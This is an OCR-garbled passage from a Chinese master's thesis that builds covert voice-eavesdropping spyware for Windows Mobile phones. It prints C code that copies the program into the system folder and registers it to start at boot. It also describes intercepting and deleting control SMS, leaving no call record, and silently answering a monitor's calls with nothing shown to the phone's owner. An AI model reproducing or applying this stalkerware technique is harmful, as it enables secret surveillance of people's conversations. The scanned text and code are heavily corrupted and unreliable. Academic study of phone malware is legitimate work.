第五章智能手机的语音监听软件的实现我复制的功能是这样完成的:首先判断本软件是否运行在系统目录\Windows下,如果是,就直接运行,如果不是,则将自己拷贝:至lJ\Windows下,然后启动该拷贝,且退出原软件。自我复制功能的流程图如图5-3所示:获取当前文件名(包含路径)◆从当前文件名中获取路径上设置系统路径名称为“|twindows”≤企>是一继续断\/否◆把当前文件复制到系统路径下J启动系统路径下的程序j退出本程序’//\(结束)\\//图5-3自我复制功能的流程图自我复制功能的代码如下://开始运行之前先执行自我复制到windows目录下41 第五章智能手机的语音监听软件的实现wchar_twcPath[50];wchar.—twcNewPath[50];//当前文件名GetModuleFileName(NULL,wcPath,100);//系统路径名称wchartwcSysPath_t[so】-T(”\\Windows\\Monitor.exe料料¨料料料料料料料料料料料”)jwchar—t木pStar=wcschr(wcSysPath_t,⋯);unsignedintnamelen=pStar—wcSysPath_t;wchar.twcSysPath【50】=.T(⋯’);wcsncpy(wcSysPath,wcSysPath_t,namelen);//如果本程序不在在系统目录下,则复制到系统目录并运行MessageBox(NULL,wcPath,wcSysPath,MB—OK);if(wcscmp(wcPath,wcSysPath))//系统路径wcscpy(wcNewPath,wcSysPath);//把当前文件复制到系统路径下CopyFile(wcPath,wcNewPath,FALSE);ff息动备侩SHELLE×ECUTElNF0Shelllnfo;memset(&Shelllnfo,0,sizeof(Shelllnfo));Shelllnfo.cbSize=sizeof(Shelllnf0);Shelllnfo.hwnd=NULL;Shelllnfo.IpVerb=_T(”open”);Shelllnfo.IpFile=wcNewPath;//此处写执行文件的绝对路径Shelllnfo.nShow=SW—SHOWNORMAL;Shelllnfo.fMask=SEE—MASK。NOCLOSEPROCESS;//启动备份程序BOOLbResult:ShellExecuteEx(&Shelllnfo);if(bResult)42 第五章智能手机的语音监听软件的实现{//MessageBo×《NuLL,J(”启动新程序,关闭旧程序刈),J(”复制好了”),MB—OK)j)//关闭本程序PostMessage(NULL,WM—QUIT,0,0);returnTRUE;)(2)软件通信痕迹隐藏软件通信痕迹隐藏在智能手机语音监听模型中涉及两个部分,清除被监控手机的与监控方的通话记录和删除控制短信。然而在本软件中,基于WindowsMobile平台的特殊性,清除通话记录部分已经不需要用单独的功能函数实现,原因是,cprog.exe是电话管理软件,主要负责WindowsMobile来电时候的铃声、界面,填写通话记录和拨打电话时候的拨打界面等。所以由于本监听软件在接通监控方电话的时候,cprog.exe并没有知晓监控方的来电,所以cprog.exe不会留下通话记录,也就不需要本软件的清理。而短信部分则更加简单,由于本监控软件是在RIL层拦截监控发短信的,而RIL处于硬件层和操作系统层的中间,所以,如果在RIL层拦截了短信且读取内容之后立即删除短信,手机收件或发件箱中也不会出现该条短信,因此,短信痕迹的清除也无需作为一个单独的功能函数进行实现。5.1.4服务模块服务模块主要是一些附加功能,这些功能主要是为了保证监听软件能实施提供有效的服务,主要包含软件后台运行,开机启动等。(1)后台运行本软件的后台运行已经在系统设计之初完成,方法是将本软件设计成控制台程序来完成。(2)开机启动’WindowsMobile平台的程序要实现开机启动主要有3种方式:①快捷方式43 第五章智能手机的语音监听软件的实现给想要实现开机启动的程序制作一个快捷方式,这里所说的快捷方式是指后缀名为.Inkd的文件,再将这个快捷方式放在智能手机设备的\Windows\StartUp文件夹中。②修改注册表修改注册表的方法和Windows桌面程序实现开机启动的方法类似,只要将应用程序拷贝到智能手机设备的\Windows文件夹,然后修改注册表,在HKEY—LOCAL_MACHIN\Init中加入这个程序的名称就可以了。在智能手机设备重启后,该应用程序就会自动启动了。③服务计划。使用服务计划的方法就是按照微软的特定的规则将应用程序创建成DLL形式,这样就可以在智能手机在设备每次启动时都自动加载该程序了。本文选择的方法是修改注册表,将Monitor.exe程序放在HKEY—LOCAL_MACHIN\Init中,具体代码是://写入注册表,实现开机启动函数voidSrartWithSrart(){’HKEYhKey=NULL;//找到系统的启动项initLPCTSTRIpRun=TE)(T(”init”);//打开注册表的启动项KeylongIRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE,IpRun,0,KEY_WRITE,&hKey);if(IRet==ERROR—SUCCESS){TCHARpFileName[MAX—PATH】-{0)j//得到程序自身的全路径DWORDdwRet=GetModuleFileName(NULL,pFileName,MAX—PATH);//添加一个子Key,并设置值IRet=RegSetVaIueEx(hKey,TEXT(”Launch90”),0,REG—SZ,(BYTE奉)(pFileName),(dwRet)木sizeof(TCHAR));//关闭注册表44 第五章智能手机的语音监听软件的实现RegCIoseKey(hKey);第二节语音监听实例的测试结果5.2.1测试过程和结果由于PC上的WindowsMobile平台是一个虚拟的平台,所以本文设计的软件除了需要在Pc上的WindowsMobile平台上面测试外,还需要在真实的WindowsMobile手机上面进行真机测试,由于真机测试的结果无法用图片显示,所以本节只描述在虚拟平台上的测试过程和结果。真机测试结果与虚拟平台上的测试结果是一致的。本文的重点是监听,所以本节重点描述监听的测试过程和结果。1.测试工具WindowsMobile设备模拟器和CellularEmulator(蜂窝仿真器)。WindowsMobile设备模拟器是一个模拟的智能手机,它拥有WindowsMobile智能手机的几乎所有功能,然而蜂窝通信功能在PC的模拟平台上不能实现,这个时候,就用上了蜂窝仿真器,蜂窝仿真器包含在WindowsMobile6SDK中,它能够让程序员在WindowsMobile设备模拟器中,测试应用程序在各种蜂窝通信情况下的行为。WindowsMobile设备模拟器如图5-4所示,蜂窝仿真器如图5.5所示:45 第五章智能手机的语音监听软件的实现图5—4WindowsMobile设备模拟器46 第五章智能手机的语音监听软件的实现图5-5蜂窝仿真器蜂窝仿真器十分强大。它可以执行一些简单的测试,如:在蜂窝仿真器中拨打电话、接听来电、挂断电话、发送短信、接收短信等。它还可以测试十分复杂的功能,比如支持对SIM配置信息的修改、选择2G网络还是3G网络等等。测试需要同时使用WindowsMobile设备模拟器和蜂窝仿真器,要让它们配合使用,因而必须先将他们关联起来。具体步骤如下:(1)记下蜂窝仿真器左下角状态栏的COM端口号,我们这边的测试实例是COM4。(2)在WindowsMobile设备模拟器中选择“文件.配置”菜单项,打开仿真程序属性对话框,选择“外围设备”选项卡。(3)把刚才记下的COM端口号输入到“串行端口号0”文本框中,如图5—6所示。(4)点击确定按钮保存设置。(5)点击“文件.重置一软”菜单项,对仿真器进行软重置操作。47 第五章智能手机的语音监听软件的实现图5-6COM端口号设置等WindowsMobile设备模拟器完成重置过程并重新启动后,蜂窝仿真器的蜂窝网络就可以使用了。如果不行,重启PC系统再试。2.测试过程首先,在一般情况下,使用蜂窝仿真器给WindowsMobile设备模拟器拨打电话是这样一个过程:打开蜂窝仿真器,在CallManager(电话管理)选项卡的PhoneNumber(电话号码)文本框中输入一个电话号码,点击旁边的Dial按钮,WindowsMobile设备模拟器的电话铃声将响起并显示来电,来电号码是打开蜂窝仿真器中输入的电话号码。这时在ActiveCalls列表中将出现仿真器上的活动通话,Status显示为Incoming。例如用87434520这个电话号码向仿真器拨打电话,如图5—7所示:48 第五章智能手机的语音监听软件的实现CallManager!Networki5MS{Injection{ConfigurationlATloglAbout{ActiveCallsID{NumberStatus;Direction187434520IncomingMTCalItodevice87434520mber:DialPresetNumberCalBehaviorPhoneNumberBusy7272024Reject7272020HangUpAfterConnect7272021NoAnswer7272022DE:COMeNetwork:2GGPRS:DisconnectedActiveCalls列表中的Status显示为Incoming说明电话还在呼叫,尚未被接WindowsMobile设备模拟器收到电话号码为87434520的来电,如图5—8所49 第五章智能手机的语音监听软件的实现图5-8WindowsMobile设备模拟器来电显示如果WindowsMobile设备模拟器接听电话,接听电话的界面如图5.9所示:50 第五章智能手机的语音监听软件的实现不:图5-9WindowsMobile设备模拟器接听电话此时蜂窝仿真器的电话状态为Active,说明电话已经被接听,如图5—10所51 第五章智能手机的语音监听软件的实现幽5—10电话被接昕时蜂窝仿真器状态如果WindowsMobile设备模拟器上面运行了本文实现的语音监听软件,并将监听电话设为87434541,则使用蜂窝模拟器拨打电话后,WindowsMobile设备模拟器上的监听软件在第一时间拦截到来电信号,并对来电信息作出判断,发现是监控方来的电话,监听软件就会在后台悄悄接通电话,此时WindowsMobile设备模拟器和蜂窝模拟器之间的电话已经被接通,然而WindowsMobile设备模拟器上并没有接听电话的界面或任何痕迹,而蜂窝模拟器上已经显示该电话被接听。具体情况如图5—11所示:52 第五章智能手机的语音监听软件的实现二。:j溺譬錾jj≤i∥鬻吞鬈”’{。。””謦8一..j49珍铡黼黼、,◇~i。==i懑ri黪荽鬻ii羹亭魏:豁~‘嘲随■幽鼗遴爵i越幽幽l广j¨Mjnjn07h16-⋯^pI,cMc+T^i6,-⋯广^^‘⋯一-;^^’^Tl^^‘^k⋯-⋯。。⋯。。¥。。lVELwurh]l’131Ilj#LuuII、-u『IIiqlurauorl、HilogIHDOUEl【—蓦融撞蹿圈‰§l__月哪‘匪壹据l幽;ActiveCalls§【、■瞄晶矧:IDNumberStatusDirection。二羹.-尉j哥i瓤髅薪善曩蹑重酝0i187434541ActTvekiT;蒸卜_懿£獭珏露蝈∞豢i蓬I~—腽匿!ii麟CalItodevice”■笳蕊匿i釜鬟I§耐。!蓐∑PhoneMJmber:8743454]厂1n。⋯⋯⋯“⋯。’⋯。⋯‘1.::::I!i3resetNumberiCallBehaviorPhoneNumber~Tr⋯⋯RIIcu72721324Reject7272020童lIh赣HangUpAfterConnect7272021NoAnswer7272022j。嚣”耀⋯一——§l誓翟匿图‘,l剧DE:COM4Network2GGTIlS:D1scOl3-xlecteak7、萋¨∥‘∥、一7、“M一《H 第六章总结与展望第一节全文总结智能手机的强大功能令智能手机变得越来越危险,各种手机病毒的出现使智能手机成为了手机用户身边的定时炸弹,而本文研究的智能手机的语音监听技术又将智能手机变成了手机用户随身携带的窃听器。本文首先对智能手机的语音监听技术进行研究,然后提出了一个基于智能手机的语音监听软件的通用模型,最后选取WindowsMobile平台作为模型的实验平台,在该平台上实现了一个语音监听软件,验证了模型的可行性。本文所做的主要工作有:1.在智能手机的各个操作系统上的探索了其语音通话的原理主要探索的操作系统有WindowsMobile和Symbian,研究了其上的语音通话的过程和原理,思考共同的可行的监听方案。2.提出了一个通用的智能手机的语音监听模型本文在探索了WindowsMobile和Symbian系统上的语音通话原理和监听方案后,提出了一个高于实际系统的可通用的智能手机的语音监听模型,它主要能实现实时监听,主动监听,并具有良好的可控制性和隐蔽性。3.根据监听模型,在WindowsMobile上实现一个实际的监听软件监听模型建立后,本文选取了市场占有率较高的手机操作系统WindowsMobile,在该平台上根据监听模型的指导,实现了一个实际的语音监听软件,它能够完成实时监听,开机启动,静默监听的功能。该软件验证了监听模型的可行性。第二节今后的工作和展望本文在智能手机语音监听技术的基础上,提出了智能手机语音监听模型,并根据该模型在WindowsMobile平台上实现了一个语音监听软件。探索和设计过程中,遇到了很多问题,在语音监听软件的实现上也有很多缺陷和不足,需要在今后的工作中进一步的研究和完善,今后的工作主要有:1.WindowsMobile平台部分。该平台上的语音监听软件在隐藏控制部分还不够完善,隐藏控制实现的主要思路是在监控手机屏幕和手机按键,如果发现54 第六章总结与展望用户对其进行了操作,lilIN关闭正在监控的电话连接。这一部分由于实现起来的要采用基于WindowsMobile平台的HOOK技术,暂时还没有完成。2.智能手机的语音监听模型部分。这个模型的提出虽然经过了很多探索和研究,但是目前看来还是有很多不足之处,比如模型没有设计语音数据连接,也就是说,在手机用户拨打或接听电话的时候,语音软件是不能进行监听行为的。这个缺陷需要在进一步的研究中完善。3.Symbian等其它操作系统平台。这些平台上的语音监听软件都还没有实现,需要在下一步的工作中实现。除此之外,本文在语音监听软件的传播和种植方面都没有进行任何研究,如果在这方面进行研究的话,本文的结构会更加完善。55 参考文献[1][2][3]1234[15][16][17][18][19][20]张二征,杨浩宇.移动通信技术发展与趋势研究【J】.河北省科学院学报,2010,27(3).PaulsonLD.FirstSmart-phoneVirusisDiscovered[J】.Computer,2004(8):29.徐威,方勇.手机病毒的攻击方式和防范措施【J】.信息与电子工程,第7卷第1期,2009.2.LiangXie,HuiSong.Asystematicapproachforcell-phonewormcontainment[A】.Proceedingofthe17thInternationalConferenceonWorldWideWeb2008,2008:1083.1084.Dixon,Bryan.OnRootkitandMalwareDetectioninSmartphones【A】.ProceedingsoftheInternationalConferenceonDependableSystemsandNetworks,2010:162—163.李惠,丁革建.智能手机操作系统概述【J】.Computer&Telecommunication,2009(3).Becher,Michael.Ontheefforttocreatesmartphonewormsinwindowsmobile[J】.Proceedingsofthe2007IEEEWorkshoponInformationAssurance,IAW,2007:199.206.Lin,Feida.Operatingsystembattleintheecosystemofsmartphoneindustry.Proceedings-2009InternationalSymposiumonInformationEngineeringandElectronicCommerce,IEEC2009,2009:617—621.JianqiLiu.DesignatinandrealizationofshipnavigationsystemembeddedplatformbasedonARM【J】.IEEEComputerSociety,2008,20(2):227—232.Dr.HannuVerkasalo,MobiTrackInnovationsLtd.AnalysisofSmartphoneUserBehavior[J】.20109thGlobalMobilityRoundtable,2010:258—263.樊澜,刘瑶,张传雷.3G智能手机操作系统的研究和分析【J】,电信科学,2009.智能手机,http://baike.baidu.com/view/535.htm#sub535,2011.RIL设计思想解析,xialihust@163.com.PortingaSampleRadioInterfaceLayer(RIL)toaNewPlatform,IntrinsycEuropeLimited,MicrosoftCorporation.侯晓宝.智能手机多功能防火墙模型设计【D】.成都:电子科技大学,2009:何伟,杨宗德,张兵.SymbianOS的手机开发与应用【M】.北京:人民邮电出版社,2006:3—4.马建,陈健.智能手机操作系统编程【M】.北京:科学出版社,2005.何宗键.WindowsCE嵌入式系统【M】,北京:北京航空航天大学出版社,2006.Yun,Minhong.UIplayerframeworkformobiledevices[J】.InternationalConferenceonAdvancedCommunicationTechnology,ICACT2007.DanHart.AccessoriesfromPDAandsmartphonemanufacturersandvendors[J】.Smartphone&pocketPC,2009,11(6).[21]樊澜,刘瑁.3G智能手机操作系统的研究和分析【J】,电信科学,2009.56㈣吲吲吲网嘲Ⅲ 参考文献[22]手机中的Linux操作系统,http:Hlinux.chinaitlab.com/unix/398422.html,2006.[23]李芙蓉.当前智能手机操作系统及其比较分析【J】.信息技术,2008.[24]李恺,刘义铭.智能手机的病毒风险浅析.十一届保密通信与信息安全现状研讨会,2009.[25]巡业坌匝K旦jg丛.MitigateagainstsmartphoneIosses[J】.ComputerWeekly,2009.[26]周晓宇.智能手机的信息安全风险及监管对策研究【J】.黑龙江科技信息,2010.[27]韩泉泉.浅析手机病毒的攻击与防范策略【A】.中国西部青年通信学术会议,2007.[28]雷震洲.蜂窝移动通信技术演进历程回顾及未来发展趋势【J】.移动通信,2008.[29】2YChu.AGanzAMobileTeletraumaSystemUsing3G.Networks2004(04).[30]KazuakiYamauchi,WenxiChen.3GMobilePhoneApplicationsinTelemedicine—ASurvey【A】,2005.[31]HACLIU.communicationsQ坌!坌坠坌§皇坌旦垡!Q£坌!iQn凹坌D坌g金盟皇凸!§量b皇匝金§!Q[堕Q垫l!皇.2998(06).[32]AT命令,http://baike.baidu.com/view/190213.htm#subl90213,2010.[33]SteveElliott.MagnetoCellcoreandRILandfutureUMTSsupport[P】.Microsoft[34]Corporation.who,Mark.MobileSupercomputersfortheNext-GenerationCellPhone[J】,Computer,2010,43(1).57 致谢两年的研究生的生活即将结束,回顾这丰富而又充实的学习生涯,导师的指导和同学的帮助一直伴随着我的进步。两年的时间,我学习了很多专业知识,掌握了不少专业技能,在职业发展和人生规划方面也有了更清晰的蓝图。这些进步离不开导师的谆谆教诲和同学的热情帮助,也离不开父母、朋友的支持和鼓励。在此论文完成之前,向所有帮助过我的人致以衷心的感谢!感谢我的导师马捷老师。马捷老师在科研和学习方面给了我很多指导和帮助,也给了我参与项目的机会,在那些项目中,我懂得怎么去真正的学习,如何去探索,怎么写代码,如何高效的学习和工作。在论文写作上,马捷老师鼓励我们大胆创新同时又严格要求我们的论文,感谢马捷老师对我论文写作的帮助。同时也感谢赵玉章老师对我论文写作的帮助。感谢新疆财经大学给我这个学习的平台。感谢养育我的父母和关怀我的家人,从小到大,你们一直对我寄予厚望,你们无私的爱是我追求成功的动力。58

当前文档最多预览五页,下载文档查看全文

此文档下载收益归作者所有

当前文档最多预览五页,下载文档查看全文
温馨提示:
1. 部分包含数学公式或PPT动画的文件,查看预览时可能会显示错乱或异常,文件下载后无此问题,请放心下载。
2. 本文档由用户上传,版权归属用户,天天文库负责整理代发布。如果您对本文档版权有争议请及时联系客服。
3. 下载前请仔细阅读文档内容,确认文档内容符合您的需求后进行下载,若出现内容与标题不符可向本站投诉处理。
4. 下载文档时可能由于网络波动等原因无法下载或下载错误,付费完成后未能成功下载的用户请联系客服处理。
关闭